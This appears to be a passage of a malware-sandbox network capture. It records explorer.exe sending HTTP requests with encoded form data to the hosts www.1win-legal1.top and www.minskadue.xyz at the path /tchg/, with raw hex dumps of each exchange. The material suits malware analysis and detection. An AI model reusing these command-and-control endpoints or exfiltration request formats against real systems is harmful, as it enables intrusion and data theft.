May 30, 2023 11:11:25.465282917 CEST	1230	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Tue, 30 May 2023 09:11:24 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are loo
May 30, 2023 11:11:25.465372086 CEST	1230	IN	Data Raw: 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: king for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.11.20	49822	172.67.153.163	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:33.528538942 CEST	1231	OUT	GET /tchg/?O0qEM=hClHY5uPluAt04hxdW9YdRNRHUMh6WFBrIjTpWTjcLdbR+/1RzzDBpsx7TGHnuWwBZdLDpA/Bvgz1IX7r92Uvnz5C/OqUTrjUQ==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.1win-legal1.top Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:11:33.600084066 CEST	1232	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 30 May 2023 09:11:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://1win-legal1.top/tchg/?O0qEM=hClHY5uPluAt04hxdW9YdRNRHUMh6WFBrIjTpWTjcLdbR+/1RzzDBpsx7TGHnuWwBZdLDpA/Bvgz1IX7r92Uvnz5C/OqUTrjUQ==&CF1Ki=UnDuQcdCFs1MNsvY CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5vcXvJQ%2BXzgkna2qqypBhl%2FImjvyEwyL%2F34%2BVn3kDfGwguwTSO5Ocd5rhCzo%2B6uvoYNPaHoRGevspwOlE1Qc3OABDBeCEaYuDdxniHCdFdSYDu8zGKEoUnQBtt6jDEomK8h9qoSr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7cf5d9b29ea48fc5-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.11.20	49823	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:38.686954975 CEST	1233	OUT	POST /tchg/ HTTP/1.1 Host: www.minskadue.xyz Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.minskadue.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.minskadue.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4f 4c 48 71 66 47 78 6c 45 7a 4a 70 4c 5f 71 71 44 36 4a 50 34 79 49 61 38 7a 59 50 64 59 78 46 54 70 57 48 38 70 71 47 74 4d 4c 6c 4c 76 57 38 6b 6a 28 51 49 5a 33 76 78 36 38 33 34 6c 56 74 37 36 4f 59 6d 6d 76 56 30 61 44 56 33 45 57 48 45 70 73 4a 34 51 7e 36 4b 36 72 32 42 59 63 6e 55 63 57 72 72 6e 31 33 54 52 5a 55 56 57 38 65 74 47 53 53 66 31 55 32 4d 32 56 46 36 38 42 4f 64 52 77 41 67 63 7a 30 4a 79 4f 30 7e 75 6b 33 6e 61 6a 68 74 4c 64 63 61 37 33 4c 6b 59 62 49 57 69 38 73 66 4c 72 73 53 7a 56 75 78 53 6c 76 62 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=OLHqfGxlEzJpL_qqD6JP4yIa8zYPdYxFTpWH8pqGtMLlLvW8kj(QIZ3vx6834lVt76OYmmvV0aDV3EWHEpsJ4Q~6K6r2BYcnUcWrrn13TRZUVW8etGSSf1U2M2VF68BOdRwAgcz0JyO0~uk3najhtLdca73LkYbIWi8sfLrsSzVuxSlvbw).
May 30, 2023 11:11:38.764075041 CEST	1233	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:11:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.11.20	49824	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:41.285211086 CEST	1234	OUT	POST /tchg/ HTTP/1.1 Host: www.minskadue.xyz Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.minskadue.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.minskadue.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4f 4c 48 71 66 47 78 6c 45 7a 4a 70 4a 66 36 71 42 64 64 50 7e 53 4a 6f 35 7a 59 50 50 59 78 42 54 70 4b 48 38 73 4b 57 73 2d 76 6c 4c 4b 71 38 6c 6e 4c 51 50 5a 33 76 28 61 38 32 38 6c 56 6d 37 39 48 72 6d 6d 54 56 30 61 58 56 33 32 65 48 54 70 73 49 77 77 7e 37 4c 36 72 31 46 59 63 35 55 63 71 4e 72 6d 68 33 51 67 46 55 48 43 45 65 70 54 79 54 55 31 55 30 45 57 56 61 74 73 42 4d 64 52 39 33 67 64 62 65 4a 68 53 30 7e 4f 45 33 6d 61 6a 69 6e 37 64 66 46 4c 32 42 31 49 61 51 51 7a 45 73 4a 59 4c 6e 4a 54 30 69 6b 67 6f 34 45 6a 50 49 67 67 66 79 6f 46 54 5f 30 36 32 56 4d 67 68 36 31 39 75 6d 75 56 39 62 51 66 78 5a 51 50 56 5a 4a 50 69 65 43 62 4c 41 63 6c 63 31 46 63 62 35 6e 78 7a 52 54 38 63 44 6a 59 64 44 68 44 4b 5f 57 6a 7a 42 6f 65 41 57 6c 70 45 46 4b 55 46 75 31 4b 48 50 70 7a 4b 33 28 67 33 62 71 71 66 55 4a 77 50 73 45 57 69 33 4d 63 44 6a 6e 6b 34 4e 47 73 32 45 71 6d 36 6d 7e 52 68 49 4d 53 41 38 4a 6d 70 5a 4d 41 30 47 50 32 58 78 48 54 62 6c 74 6a 6a 30 53 45 7e 36 56 4f 59 68 4f 5f 7a 61 66 69 34 52 51 52 7e 33 76 66 51 4e 37 6d 31 45 76 77 6f 67 49 59 70 4c 53 33 6c 42 57 65 32 4d 66 48 4e 46 51 7a 54 39 52 44 74 41 30 57 7a 6d 51 4c 39 61 4f 74 45 59 4d 6b 55 77 47 31 53 77 44 6c 6e 71 37 69 5a 63 79 46 36 7a 65 6c 28 6e 70 76 71 63 30 58 48 32 36 41 65 45 64 64 55 67 73 74 71 6d 56 48 33 37 44 5f 79 6e 33 78 45 59 59 33 77 68 72 64 47 35 61 59 4c 4e 35 38 64 7a 6b 61 51 32 69 55 68 53 44 32 48 6b 48 38 57 75 32 4d 59 43 68 38 49 38 57 6c 35 58 4c 44 6b 49 52 4e 6b 6d 4b 41 35 69 51 5a 4a 57 4c 69 4a 30 28 41 6b 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=OLHqfGxlEzJpJf6qBddP~SJo5zYPPYxBTpKH8sKWs-vlLKq8lnLQPZ3v(a828lVm79HrmmTV0aXV32eHTpsIww~7L6r1FYc5UcqNrmh3QgFUHCEepTyTU1U0EWVatsBMdR93gdbeJhS0~OE3majin7dfFL2B1IaQQzEsJYLnJT0ikgo4EjPIggfyoFT_062VMgh619umuV9bQfxZQPVZJPieCbLAclc1Fcb5nxzRT8cDjYdDhDK_WjzBoeAWlpEFKUFu1KHPpzK3(g3bqqfUJwPsEWi3McDjnk4NGs2Eqm6m~RhIMSA8JmpZMA0GP2XxHTbltjj0SE~6VOYhO_zafi4RQR~3vfQN7m1EvwogIYpLS3lBWe2MfHNFQzT9RDtA0WzmQL9aOtEYMkUwG1SwDlnq7iZcyF6zel(npvqc0XH26AeEddUgstqmVH37D_yn3xEYY3whrdG5aYLN58dzkaQ2iUhSD2HkH8Wu2MYCh8I8Wl5XLDkIRNkmKA5iQZJWLiJ0(Ak.
May 30, 2023 11:11:41.362718105 CEST	1235	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:11:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.11.20	49825	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:43.893507004 CEST	1248	OUT	POST /tchg/ HTTP/1.1 Host: www.minskadue.xyz Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.minskadue.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.minskadue.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4f 4c 48 71 66 47 78 6c 45 7a 4a 70 4a 66 36 71 42 64 64 50 7e 53 4a 6f 35 7a 59 50 50 59 78 42 54 70 4b 48 38 73 4b 57 73 2d 6e 6c 4b 38 65 38 6b 41 58 51 4f 5a 33 76 33 36 38 7a 38 6c 56 5f 37 37 76 30 6d 6d 65 67 30 66 54 56 32 6c 6d 48 54 36 45 49 37 67 7e 34 42 61 72 33 42 59 63 6c 55 63 57 5a 72 6d 31 6e 54 52 42 55 56 53 30 65 75 69 79 53 4c 56 55 32 45 57 56 4f 7e 38 42 79 64 51 4a 6e 67 64 48 65 4a 6a 57 30 76 6f 41 33 71 74 33 69 34 4c 64 51 4c 72 32 43 73 59 61 66 51 7a 52 66 4a 59 4c 64 4a 58 6b 69 6b 6a 51 34 48 67 6e 4c 68 41 66 79 32 56 54 38 6a 4b 4b 4a 4d 6a 56 69 31 35 75 6d 75 57 39 62 52 5f 78 5a 62 4c 34 50 42 50 69 63 47 62 4c 74 4c 31 41 48 46 63 50 4d 6e 77 48 52 51 4e 34 44 78 61 31 44 75 47 32 5f 4b 7a 7a 50 73 65 42 4d 76 4a 45 5a 4b 58 74 79 31 4b 6e 31 70 31 6d 33 7e 42 58 62 34 62 66 58 4a 51 4f 47 4c 32 69 59 48 38 48 52 6e 6c 4a 55 47 73 33 66 71 6e 7e 6d 7e 67 52 49 43 7a 41 39 63 32 70 61 45 67 30 58 42 57 72 5f 48 53 7a 54 74 6a 37 6b 53 46 36 36 58 75 59 68 65 75 7a 5a 52 53 34 73 63 78 7e 66 68 5f 52 4c 37 6e 4a 59 76 30 34 61 64 34 31 4c 51 44 4a 42 55 2d 32 4e 50 33 4d 4f 62 54 54 5f 56 44 74 41 30 57 28 79 51 4c 78 61 4f 5a 49 59 43 7a 77 77 58 32 36 77 46 6c 6e 67 37 69 5a 4e 79 46 6e 4e 65 6c 33 46 70 76 61 79 30 53 28 32 36 52 4f 45 63 63 55 76 67 39 72 73 45 33 33 73 4d 66 7e 4a 33 78 59 51 59 33 67 4c 72 4f 79 35 62 59 62 4e 30 63 64 79 32 71 52 66 79 45 67 58 48 32 4c 34 48 38 37 5a 32 4d 73 6f 68 2d 49 38 56 7a 59 72 54 48 6f 6c 41 39 73 72 42 51 5a 62 5a 50 4e 2d 57 41 52 50 73 30 61 7a 33 4d 4f 42 4f 54 41 79 76 39 37 73 36 41 4f 6c 75 4f 36 5a 66 34 6b 39 42 61 6e 4f 55 53 4d 61 52 57 72 64 74 63 4d 68 42 49 7a 52 39 4a 66 41 30 46 74 34 32 78 53 74 7e 4b 38 5f 33 4f 32 32 58 57 54 4d 39 75 46 6c 73 35 64 57 79 33 64 62 53 37 58 78 57 2d 7a 2d 44 4c 72 44 49 7a 74 44 32 64 68 49 6a 4b 68 43 39 56 54 5a 71 43 71 6a 5a 69 4a 6f 67 34 58 75 68 50 77 76 68 47 53 31 65 65 53 6b 77 31 49 44 6f 68 6c 45 78 58 71 43 48 79 73 4d 55 6b 71 39 47 42 36 4d 62 35 76 6d 4f 33 4c 58 75 6b 42 75 37 2d 77 61 6f 6d 44 6a 36 41 34 4b 50 6e 4b 5f 4e 64 6f 62 33 41 62 6c 6f 67 28 6d 4d 4a 67 4c 28 71 5a 6a 56 6a 4b 41 4f 34 42 76 62 33 49 4e 7e 5f 54 4c 73 48 61 4b 4e 58 57 7a 52 69 7e 64 44 77 6a 44 67 44 64 37 73 30 59 6e 6a 52 59 68 46 43 7e 48 76 45 72 77 56 47 43 74 6e 71 4d 71 6d 71 48 79 78 30 42 57 30 66 4a 53 61 57 72 64 62 51 4a 4c 28 68 4d 37 6d 34 4a 32 4d 35 37 6a 48 53 54 59 72 47 55 76 33 32 38 57 73 34 4d 70 73 34 61 6c 54 62 64 57 78 6f 36 39 45 50 43 65 4f 59 69 78 37 34 54 4d 75 32 5a 68 74 6d 67 38 45 39 61 6e 55 79 65 50 59 47 6a 5a 62 71 41 4a 51 33 56 43 6c 32 49 34 32 73 48 43 6a 39 45 75 53 70 5a 61 56 46 56 62 6f 43 59 52 52 52 6d 6d 70 6b 39 74 66 33 49 36 39 43 6e 4c 78 41 4c 54 64 34 4d 36 76 68 74 59 28 46 62 61 63 34 63 6e 4c 49 49 67 33 55 63 33 78 6e 63 62 37 75 4e 57 5a 6b 32 48 6a 33 43 67 4f 48 4e 49 49 72 54 6d 57 39 58 2d 71 5a 38 44 7a 50 67 57 79 62 67 59 53 32 67 6d 73 73 33 43 51 41 55 42 66 36 68 58 73 79 31 56 48 4f 54 55 4e 77 69 35 56 38 76 66 7e 79 78 44 6e 48 52 63 6a 58 61 55 53 30 37 61 4b 74 39 69 35 4f 33 71 6d 59 38 6b 4c 56 4e 56 7a 2d 6a 31 70 4b 78 32 4b 61 7e 46 64 44 77 66 58 34 57 61 4d 2d 28 51 33 43 4c 31 48 5f 6d 54 31 4c 67 34 57 35 31 79 47 68 66 6d 37 4a 5a 56 28 4f 49 75 48 77 62 7a 78 77 4e 72 75 77 38 30 46 6e 70 6d 59 32 53 77 30 54 42 68 49 50 38 38 31 6c 46 79 73 6f 45 48 46 64 31 65 44 61 6f 31 41 6f 4f 4c 4b 4a 57 2d 6d 6f 51 73 28 50 62 46 76 49 72 6b 4e 35 42 57 64 71 69 66 7e 33 4e 47 78 49 71 6f 31 33 37 4c 56 58 32 6a 4a 74 62 4b 57 69 45 7a 33 52 48 43 65 4c 4f 39 76 65 61 74 69 72 73 64 6d 65 6a 76 32 44 49 46 41 53 42 7a 4e 67 45 7a 42 45 66 33 52 41 30 6a 67 69 6e 65 36 55 50 76 50 5f 77 45 4f 6b 37 36 6e 74 73 35 55 36 4e 59 42 58 6b 63 39 2d 33 43 6d 73 7a 48 52 30 31 5f 49 63 7a 55 41 43 4c 64 42 49 28 77 6c 75 4f 5a 59 5f 50 2d 32 4a 70 67 77 67 31 42 4a 6a 7a 36 71 42 34 51 38 5f 71 65 75 78 6d 69 34 33 4e 49 68 78 7e 42 6e 5a 42 51 41 57 4d 6c 39 4d 61 69 28 61 63 50 50 6a 4d 4a 68 Data Ascii: O0qEM=OLHqfGxlEzJpJf6qBddP~SJo5zYPPYxBTpKH8sKWs-nlK8e8kAXQOZ3v368z8lV_77v0mmeg0fTV2lmHT6EI7g~4Bar3BYclUcWZrm1nTRBUVS0euiySLVU2EWVO~8BydQJngdHeJjW0voA3qt3i4LdQLr2CsYafQzRfJYLdJXkikjQ4HgnLhAfy2VT8jKKJMjVi15umuW9bR_xZbL4PBPicGbLtL1AHFcPMnwHRQN4Dxa1DuG2_KzzPseBMvJEZKXty1Kn1p1m3~BXb4bfXJQOGL2iYH8HRnlJUGs3fqn~m~gRICzA9c2paEg0XBWr_HSzTtj7kSF66XuYheuzZRS4scx~fh_RL7nJYv04ad41LQDJBU-2NP3MObTT_VDtA0W(yQLxaOZIYCzwwX26wFlng7iZNyFnNel3Fpvay0S(26ROEccUvg9rsE33sMf~J3xYQY3gLrOy5bYbN0cdy2qRfyEgXH2L4H87Z2Msoh-I8VzYrTHolA9srBQZbZPN-WARPs0az3MOBOTAyv97s6AOluO6Zf4k9BanOUSMaRWrdtcMhBIzR9JfA0Ft42xSt~K8_3O22XWTM9uFls5dWy3dbS7XxW-z-DLrDIztD2dhIjKhC9VTZqCqjZiJog4XuhPwvhGS1eeSkw1IDohlExXqCHysMUkq9GB6Mb5vmO3LXukBu7-waomDj6A4KPnK_Ndob3Ablog(mMJgL(qZjVjKAO4Bvb3IN~_TLsHaKNXWzRi~dDwjDgDd7s0YnjRYhFC~HvErwVGCtnqMqmqHyx0BW0fJSaWrdbQJL(hM7m4J2M57jHSTYrGUv328Ws4Mps4alTbdWxo69EPCeOYix74TMu2Zhtmg8E9anUyePYGjZbqAJQ3VCl2I42sHCj9EuSpZaVFVboCYRRRmmpk9tf3I69CnLxALTd4M6vhtY(Fbac4cnLIIg3Uc3xncb7uNWZk2Hj3CgOHNIIrTmW9X-qZ8DzPgWybgYS2gmss3CQAUBf6hXsy1VHOTUNwi5V8vf~yxDnHRcjXaUS07aKt9i5O3qmY8kLVNVz-j1pKx2Ka~FdDwfX4WaM-(Q3CL1H_mT1Lg4W51yGhfm7JZV(OIuHwbzxwNruw80FnpmY2Sw0TBhIP881lFysoEHFd1eDao1AoOLKJW-moQs(PbFvIrkN5BWdqif~3NGxIqo137LVX2jJtbKWiEz3RHCeLO9veatirsdmejv2DIFASBzNgEzBEf3RA0jgine6UPvP_wEOk76nts5U6NYBXkc9-3CmszHR01_IczUACLdBI(wluOZY_P-2Jpgwg1BJjz6qB4Q8_qeuxmi43NIhx~BnZBQAWMl9Mai(acPPjMJhBZOQb6u6Seu(UL_SkgjnusKKwDBmCIOc2WkDEd8HfusYQW7MJCG5eJDnGB3gBxK5ANkMaLQMEoi5j0GYBfoO5mDoOqchm(ckkXIwHZGPS1Yi_2P1Khzt-wIfnbJuxQA(A2W9fDv2WgfVl3nlIyteB2Po-tY4_Bg2BpeHiXQyhyGpu4hFDLzfa6jkg5pR-ETj4FB0JVcXM5oPVF8ZXIv(e53waYf0mN3V8IDxijdcfCgCaCDmQjItWHeTmGOW0PaCFD6BEYGWJ4V6nEHoQVbhhV_YrFcpcfmhMP48WypWvvZakcH0wbh3zo2pezgjv4TNVpSOnGMxK7u8wkZgNj9~MvfFgT15R98uWEd2ZNy9JcFMO0xysz4h7aIj9sBmPZ8cOahKJbPG1zj9qcbmId5yQonZQHIsd7mqtCvX7pe87GWgUZqB5n2dVzVFXmyGBQCccEITSudzJpyEAprLINl~cYzSU5bp9NQNRtMx6cl9mA2A7z4PR8rAnCR6UVBZLHWN4O5F2aHPv6S31KsdxorwyVCuWexPuy-er1-sLVZzMaY~B70rmT415izLjsYWYUpFFpAAZdy5q~lHciTdehtO1YHZjbZgWaNMmkXOiRkwJQ5VRqxDpFu5mZxLxBKGH0bMjfc7lt6N5ZDdzJ7XGFXbWXCNeeQhvn05KGW9pbsKGM36GFe11lZteLfdYyvxcmo(1Os2ty6ziVF5LVafuUxlVdP7NzdPGAhARTGo6XYRHHAiich~NHXezcaTkvP8CoC7xUoLRNSvII1l1J0YEA_iUH-Djuf9KoNsuhFhpcB1MpLGLP3~kU_47rqLkN7GWELCzB-BZi0PWuWM-5fH5X5~u(QQVk-BHWshh2CE1mEOEO-InjIMLEDVY(D8JUD0nu53ZeS(Zum6m1PrmUz419EGhc_Z9kB56D-Bbfam7ZrDfjOjIi-aQRmMKZqDYrskUGVK3XPFLxIU4gJGdNmBEMB8II5BPH6CnU5Sg7ivAXospUIGb9vs29TU2rQSgpcxWpUARFqy6GWOWltUbCoA070WlQydNSX~B5UUgTiS4zi6xFZRSG711DhDoaBg7zb8pmd6YVWhBcVmPWMfJai3Q9u00EIofHnwwQFzW~QyCkXJyHHfYGYz1C8f5QbdHuyKMVAGlQaZGzBoVtaF1XKpOCiwsxUvZ43f4asr57W3_K8jGpUfrw2rYTNFJo2b1hiDmnM3jukIaaR46psIjyHyGq_tLwMrZIersW7nC0JOPh-coC3krU5pIXVdx~WUcr0kFzd9Yug0plGjcObSla3NQvGbrv-mDSJ73WDWG7V0EtC3u(jgz1v7zsxGXue2kUz3uuzcooEjCkucKYlGOURlYD-9Kozp8hzaHAYXHuvA-FuUTQ4C9CbBBgFzEEziefUSoek6jSRZlb9XpYH66KQRZiztUNEkNg-Tp8PthmnRBSTm2dc7_OMyWwP6EEspU8bFJMTfyCvV6RSyH6dglap7dpYZsXZyvPiML~rTQIm7zdSLHRjmZYIYZjTefy3XlTFkGuNkkxJJkIT89n3qvTWoEI_m93_rQyjP9s3kSW_2gjLwgDAHKAaB5UXXUYs~_4ecfmRRAwLUE1MqajJ0sF83rVhwNF9qKszdolxQQRyVlzM1tAOIY2QrqKNHz(oRYbbt51M~mgOMTQp2bW0SaCyKfQiu33qas5eL6ZiURv2rb(Flzn8FxCyyOSu4yyVZcvLY2GiW0ry1vFhJqMITrvbTNH-Mxh5LnNLIx686B70Y2sWycq09rK-BBrADn2ytstgEAyeqSN-vu7ubIMWbZmgmE1f6AsnBXoUZycrULmmNsxMy6RxtNPVKESFazLZD9hHIrjVwnzGMtBfqOTC~pOfVCCM5t5i(hYBdoj_WIucfF0J4Vs4y-hv0ptZnhGFpNivudl0yiO6wyQP~GTuqViGlu~chJiaF3f-DgaaZVsmTv(SbkhCQ6huDwlkh5lfnXLjSEnJTobULPzGsMVY3SDIMkthejcM685plGkaxjOChZ4Bb